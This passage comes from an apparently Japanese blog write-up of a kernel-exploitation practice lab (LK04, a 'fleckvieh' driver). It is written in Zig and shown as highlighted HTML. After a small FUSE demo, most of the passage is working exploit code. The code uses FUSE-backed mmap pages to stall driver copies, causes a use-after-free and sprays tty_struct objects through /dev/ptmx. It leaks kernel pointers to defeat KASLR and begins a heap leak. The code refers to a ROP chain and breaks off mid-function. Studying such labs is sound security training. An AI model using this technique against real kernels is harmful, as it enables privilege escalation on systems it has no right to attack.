</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;getattrCallback&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, path[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">5</span>], <span style="color:#79a8ff">&#34;/file&#34;</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (stbuf) <span style="color:#00d3d0">|</span>st<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            st.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroInit</span>(linux.Stat, .{
</span></span><span style="display:flex;"><span>                .mode <span style="color:#00d3d0">=</span> linux.S.IFREG <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0o777</span>,
</span></span><span style="display:flex;"><span>                .nlink <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>                .size <span style="color:#00d3d0">=</span> content.len,
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#00d3d0">-</span><span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@intCast</span>(<span style="color:#f78fe7">@intFromEnum</span>(posix.E.NOENT)));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">openCallback</span>(_<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>, _<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?*</span>fuse.fuse_file_info) <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">i32</span> {
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;openCallback&#34;</span>, .{});
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">export</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">readCallback</span>(path<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>, buf<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>, size<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>, offset<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i64</span>, _<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?*</span>fuse.fuse_file_info) <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">i32</span> {
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;readCallback&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, path[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">5</span>], <span style="color:#79a8ff">&#34;/file&#34;</span>)) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (offset <span style="color:#00d3d0">&gt;=</span> content.len) <span style="color:#b6a0ff">return</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> length <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@min</span>(content.len <span style="color:#00d3d0">-</span> <span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">usize</span>, <span style="color:#f78fe7">@intCast</span>(offset)), size);
</span></span><span style="display:flex;"><span>        <span style="color:#f78fe7">@memcpy</span>(buf[<span style="color:#00bcff">0</span>..length], content[<span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">usize</span>, <span style="color:#f78fe7">@intCast</span>(offset))..][<span style="color:#00bcff">0</span>..length]);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> <span style="color:#f78fe7">@intCast</span>(length);
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#00d3d0">-</span><span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@intCast</span>(<span style="color:#f78fe7">@intFromEnum</span>(posix.E.NOENT)));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> fops <span style="color:#00d3d0">=</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> tmp <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroes</span>(fuse.fuse_operations);
</span></span><span style="display:flex;"><span>    tmp.getattr <span style="color:#00d3d0">=</span> getattrCallback;
</span></span><span style="display:flex;"><span>    tmp.open <span style="color:#00d3d0">=</span> openCallback;
</span></span><span style="display:flex;"><span>    tmp.read <span style="color:#00d3d0">=</span> readCallback;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk tmp;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">pub</span> <span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">main</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">mkdir</span>(<span style="color:#79a8ff">&#34;/tmp/test&#34;</span>, <span style="color:#00bcff">0o777</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> fargs <span style="color:#00d3d0">=</span> fuse.fuse_args{};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> chan <span style="color:#00d3d0">=</span> fuse.<span style="color:#feacd0">fuse_mount</span>(<span style="color:#79a8ff">&#34;/tmp/test&#34;</span>, <span style="color:#00d3d0">&amp;</span>fargs) <span style="color:#b6a0ff">orelse</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.FuseMountError;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> fuse.<span style="color:#feacd0">fuse_unmount</span>(<span style="color:#79a8ff">&#34;/tmp/test&#34;</span>, chan);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> f <span style="color:#00d3d0">=</span> fuse.<span style="color:#feacd0">fuse_new</span>(chan, <span style="color:#00d3d0">&amp;</span>fargs, <span style="color:#00d3d0">&amp;</span>fops, <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@TypeOf</span>(fops)), <span style="color:#00bcff">null</span>) <span style="color:#b6a0ff">orelse</span> <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">error</span>.FuseNewError;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> fuse.<span style="color:#feacd0">fuse_set_signal_handlers</span>(fuse.<span style="color:#feacd0">fuse_get_session</span>(f));
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> fuse.<span style="color:#feacd0">fuse_loop_mt</span>(f);
</span></span><span style="display:flex;"><span>}</span></span></code></pre></div>
</details>






  
  
    

  
  
    









<div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[INFO] getattrCallback
</span></span><span style="display:flex;"><span>[INFO] openCallback
</span></span><span style="display:flex;"><span>[INFO] readCallback
</span></span><span style="display:flex;"><span>Hello world!</span></span></code></pre></div>

<p>さて、（悪）用しよう：</p>
<p><a id="code-snippet--lk04-fuse-full"></a></p>





  
  
    

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    
    
  

  
  
    





  

  

  

  

  





<details open>
  
  <summary>Zig</summary>
  
  </summary>
  <div class="highlight"><pre tabindex="0" style="color:#fff;background-color:#000;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-zig" data-lang="zig"><span style="display:flex;"><span><a href="#code-snippet--pawnyable-lib">&lt;&lt;pawnyable-lib&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--pin-to-core">&lt;&lt;pin-to-core&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--tty_struct">&lt;&lt;tty_struct&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk04-types">&lt;&lt;lk04-types&gt;&gt;</a>
</span></span><span style="display:flex;"><span><a href="#code-snippet--lk04-ropchain">&lt;&lt;lk04-ropchain&gt;&gt;</a>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> fuse <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@import</span>(<span style="color:#79a8ff">&#34;fuse29.zig&#34;</span>);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">getattrCallback</span>(path<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>, stbuf<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?*</span>linux.Stat) <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">i32</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, path[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">4</span>], <span style="color:#79a8ff">&#34;/aar&#34;</span>) <span style="color:#b6a0ff">or</span> std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, path[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">4</span>], <span style="color:#79a8ff">&#34;/aaw&#34;</span>) ) {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">if</span> (stbuf) <span style="color:#00d3d0">|</span>st<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            st.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroInit</span>(linux.Stat, .{
</span></span><span style="display:flex;"><span>                .mode <span style="color:#00d3d0">=</span> linux.S.IFREG <span style="color:#00d3d0">|</span> <span style="color:#00bcff">0o777</span>,
</span></span><span style="display:flex;"><span>                .nlink <span style="color:#00d3d0">=</span> <span style="color:#00bcff">1</span>,
</span></span><span style="display:flex;"><span>                .size <span style="color:#00d3d0">=</span> std.heap.page_size_min,
</span></span><span style="display:flex;"><span>            });
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#00d3d0">-</span><span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@intCast</span>(<span style="color:#f78fe7">@intFromEnum</span>(posix.E.NOENT)));
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">openCallback</span>(_<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>, _<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?*</span>fuse.fuse_file_info) <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">i32</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#00bcff">0</span>;
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> fleck_fd<span style="color:#00d3d0">:</span> posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> ttys<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">10</span>]posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> victim_id<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i32</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">var</span> blob_buf<span style="color:#00d3d0">:</span> [<span style="color:#00bcff">1024</span>]<span style="color:#6ae4b9">u8</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">undefined</span>;
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">readCallback</span>(path<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*:</span><span style="color:#00bcff">0</span>]<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>, buf<span style="color:#00d3d0">:</span> [<span style="color:#00d3d0">*</span>]<span style="color:#6ae4b9">u8</span>, size<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">usize</span>, _<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">i64</span>, _<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?*</span>fuse.fuse_file_info) <span style="color:#feacd0">callconv</span>(.C) <span style="color:#6ae4b9">i32</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> ENOENT <span style="color:#00d3d0">=</span> <span style="color:#00d3d0">-</span><span style="color:#f78fe7">@as</span>(<span style="color:#6ae4b9">i32</span>, <span style="color:#f78fe7">@intCast</span>(<span style="color:#f78fe7">@intFromEnum</span>(posix.E.NOENT)));
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, path[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">4</span>], <span style="color:#79a8ff">&#34;/aar&#34;</span>)) {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">debug</span>(<span style="color:#79a8ff">&#34;Beginning AAR&#34;</span>, .{});
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> <span style="color:#b6a0ff">if</span> (std.mem.<span style="color:#feacd0">eql</span>(<span style="color:#6ae4b9">u8</span>, path[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">4</span>], <span style="color:#79a8ff">&#34;/aaw&#34;</span>)) {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">debug</span>(<span style="color:#79a8ff">&#34;Beginning AAW&#34;</span>, .{});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">for</span> (<span style="color:#00bcff">0</span>..<span style="color:#00bcff">100</span>) <span style="color:#00d3d0">|</span>_<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>            _ <span style="color:#00d3d0">=</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fleck_fd, .ADD, <span style="color:#00d3d0">&amp;</span>blob_buf, <span style="color:#00bcff">null</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>                std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;blob_add failed with {any}&#34;</span>, .{err});
</span></span><span style="display:flex;"><span>                <span style="color:#b6a0ff">return</span> ENOENT;
</span></span><span style="display:flex;"><span>            };
</span></span><span style="display:flex;"><span>        }
</span></span><span style="display:flex;"><span>    } <span style="color:#b6a0ff">else</span> {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;Unknown path {s}&#34;</span>, .{path});
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> ENOENT;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fleck_fd, .DEL, <span style="color:#00bcff">null</span>, victim_id) <span style="color:#b6a0ff">catch</span> <span style="color:#00d3d0">|</span>err<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;blob_del failed with {any}&#34;</span>, .{err});
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span> ENOENT;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">for</span> (<span style="color:#00d3d0">&amp;</span>ttys) <span style="color:#00d3d0">|*</span>tty<span style="color:#00d3d0">|</span> {
</span></span><span style="display:flex;"><span>        tty.<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">=</span> posix.<span style="color:#feacd0">open</span>(<span style="color:#79a8ff">&#34;/dev/ptmx&#34;</span>, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDONLY, .NOCTTY <span style="color:#00d3d0">=</span> <span style="color:#00bcff">true</span> }, <span style="color:#00bcff">0o660</span>) <span style="color:#b6a0ff">catch</span> <span style="color:#b6a0ff">unreachable</span>;
</span></span><span style="display:flex;"><span>    }
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#f78fe7">@memcpy</span>(buf[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>], blob_buf[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>]);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#f78fe7">@intCast</span>(size);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">const</span> fops <span style="color:#00d3d0">=</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> tmp <span style="color:#00d3d0">=</span> std.mem.<span style="color:#feacd0">zeroes</span>(fuse.fuse_operations);
</span></span><span style="display:flex;"><span>    tmp.getattr <span style="color:#00d3d0">=</span> getattrCallback;
</span></span><span style="display:flex;"><span>    tmp.open <span style="color:#00d3d0">=</span> openCallback;
</span></span><span style="display:flex;"><span>    tmp.read <span style="color:#00d3d0">=</span> readCallback;
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk tmp;
</span></span><span style="display:flex;"><span>};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">fuseThread</span>(fuse_ready<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">*</span>std.Thread.ResetEvent) <span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    posix.<span style="color:#feacd0">mkdir</span>(<span style="color:#79a8ff">&#34;/tmp/pwn&#34;</span>, <span style="color:#00bcff">0o777</span>) <span style="color:#b6a0ff">catch</span> {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;Could not create /tmp/pwn&#34;</span>, .{});
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">var</span> fargs <span style="color:#00d3d0">=</span> fuse.fuse_args{};
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> chan <span style="color:#00d3d0">=</span> fuse.<span style="color:#feacd0">fuse_mount</span>(<span style="color:#79a8ff">&#34;/tmp/pwn&#34;</span>, <span style="color:#00d3d0">&amp;</span>fargs) <span style="color:#b6a0ff">orelse</span> {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;fuse_mount failed&#34;</span>, .{});
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> fuse.<span style="color:#feacd0">fuse_unmount</span>(<span style="color:#79a8ff">&#34;/tmp/pwn&#34;</span>, chan);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> f <span style="color:#00d3d0">=</span> fuse.<span style="color:#feacd0">fuse_new</span>(chan, <span style="color:#00d3d0">&amp;</span>fargs, <span style="color:#00d3d0">&amp;</span>fops, <span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@TypeOf</span>(fops)), <span style="color:#00bcff">null</span>) <span style="color:#b6a0ff">orelse</span> {
</span></span><span style="display:flex;"><span>        std.log.<span style="color:#feacd0">err</span>(<span style="color:#79a8ff">&#34;fuse_new failed&#34;</span>, .{});
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">return</span>;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> fuse.<span style="color:#feacd0">fuse_set_signal_handlers</span>(fuse.<span style="color:#feacd0">fuse_get_session</span>(f));
</span></span><span style="display:flex;"><span>    fuse_ready.<span style="color:#feacd0">set</span>();
</span></span><span style="display:flex;"><span>    _ <span style="color:#00d3d0">=</span> fuse.<span style="color:#feacd0">fuse_loop_mt</span>(f);
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">fusePage</span>(<span style="color:#b6a0ff">comptime</span> path<span style="color:#00d3d0">:</span> []<span style="color:#b6a0ff">const</span> <span style="color:#6ae4b9">u8</span>) <span style="color:#00d3d0">!</span>[]<span style="color:#b6a0ff">align</span>(std.heap.page_size_min) <span style="color:#6ae4b9">u8</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> S <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">struct</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">var</span> fd<span style="color:#00d3d0">:</span> <span style="color:#00d3d0">?</span>posix.fd_t <span style="color:#00d3d0">=</span> <span style="color:#00bcff">null</span>;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">if</span> (S.fd) <span style="color:#00d3d0">|</span>fd<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(fd);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    S.fd <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">open</span>(path, .{ .ACCMODE <span style="color:#00d3d0">=</span> .RDWR }, <span style="color:#00bcff">0o660</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">return</span> <span style="color:#b6a0ff">try</span> posix.<span style="color:#feacd0">mmap</span>(
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">null</span>,
</span></span><span style="display:flex;"><span>        std.heap.page_size_min,
</span></span><span style="display:flex;"><span>        linux.PROT.READ <span style="color:#00d3d0">|</span> linux.PROT.WRITE,
</span></span><span style="display:flex;"><span>        posix.MAP{ .TYPE <span style="color:#00d3d0">=</span> .PRIVATE },
</span></span><span style="display:flex;"><span>        S.fd.<span style="color:#00d3d0">?</span>,
</span></span><span style="display:flex;"><span>        <span style="color:#00bcff">0</span>,
</span></span><span style="display:flex;"><span>    );
</span></span><span style="display:flex;"><span>}
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#b6a0ff">fn</span> <span style="color:#feacd0">exploit</span>() <span style="color:#00d3d0">!</span><span style="color:#6ae4b9">void</span> {
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> kaslr_offset <span style="color:#00d3d0">=</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> aar_page <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">fusePage</span>(<span style="color:#79a8ff">&#34;/tmp/pwn/aar&#34;</span>);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">munmap</span>(aar_page);
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">defer</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00d3d0">&amp;</span>ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(tty);
</span></span><span style="display:flex;"><span>        victim_id <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fleck_fd, .ADD, <span style="color:#00d3d0">&amp;</span>blob_buf, <span style="color:#00bcff">null</span>);
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fleck_fd, .GET, aar_page[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">0x20</span>], victim_id);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> ptmx_fops_addr<span style="color:#00d3d0">:</span> <span style="color:#6ae4b9">u64</span> <span style="color:#00d3d0">=</span> <span style="color:#00bcff">0xffffffff81c3c3c0</span>;
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">break</span> <span style="color:#00d3d0">:</span>blk std.mem.<span style="color:#feacd0">bytesAsValue</span>(<span style="color:#6ae4b9">u64</span>, aar_page[<span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>)..][<span style="color:#00bcff">0</span>..<span style="color:#f78fe7">@sizeOf</span>(<span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ops&#34;</span>))]).<span style="color:#00d3d0">*</span> <span style="color:#00d3d0">-</span> ptmx_fops_addr;
</span></span><span style="display:flex;"><span>    };
</span></span><span style="display:flex;"><span>    <span style="color:#feacd0">adjust_offsets</span>(kaslr_offset);
</span></span><span style="display:flex;"><span>    std.log.<span style="color:#feacd0">info</span>(<span style="color:#79a8ff">&#34;Kernel base @ 0x{x}&#34;</span>, .{<span style="color:#00bcff">0xffffffff81000000</span><span style="color:#00d3d0">+</span>kaslr_offset});
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> aar_page <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> <span style="color:#feacd0">fusePage</span>(<span style="color:#79a8ff">&#34;/tmp/pwn/aar&#34;</span>);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">defer</span> posix.<span style="color:#feacd0">munmap</span>(aar_page);
</span></span><span style="display:flex;"><span>    <span style="color:#b6a0ff">const</span> heap_leak <span style="color:#00d3d0">=</span> blk<span style="color:#00d3d0">:</span> {
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">defer</span> <span style="color:#b6a0ff">for</span> (<span style="color:#00d3d0">&amp;</span>ttys) <span style="color:#00d3d0">|</span>tty<span style="color:#00d3d0">|</span> posix.<span style="color:#feacd0">close</span>(tty);
</span></span><span style="display:flex;"><span>        victim_id <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fleck_fd, .ADD, <span style="color:#00d3d0">&amp;</span>blob_buf, <span style="color:#00bcff">null</span>);
</span></span><span style="display:flex;"><span>        _ <span style="color:#00d3d0">=</span> <span style="color:#b6a0ff">try</span> fleckvieh.<span style="color:#feacd0">ioctl</span>(fleck_fd, .GET, aar_page[<span style="color:#00bcff">0</span>..<span style="color:#00bcff">1024</span>], victim_id);
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#b6a0ff">const</span> offset <span style="color:#00d3d0">=</span> <span style="color:#f78fe7">@offsetOf</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>) <span style="color:#00d3d0">+</span> <span style="color:#f78fe7">@offsetOf</span>(<span style="color:#f78fe7">@FieldType</span>(tty_struct, <span style="color:#79a8ff">&#34;ldisc_sem&#34;</span>), <span style="color:#79a8ff">&#34;read_wait&#34;</span>);
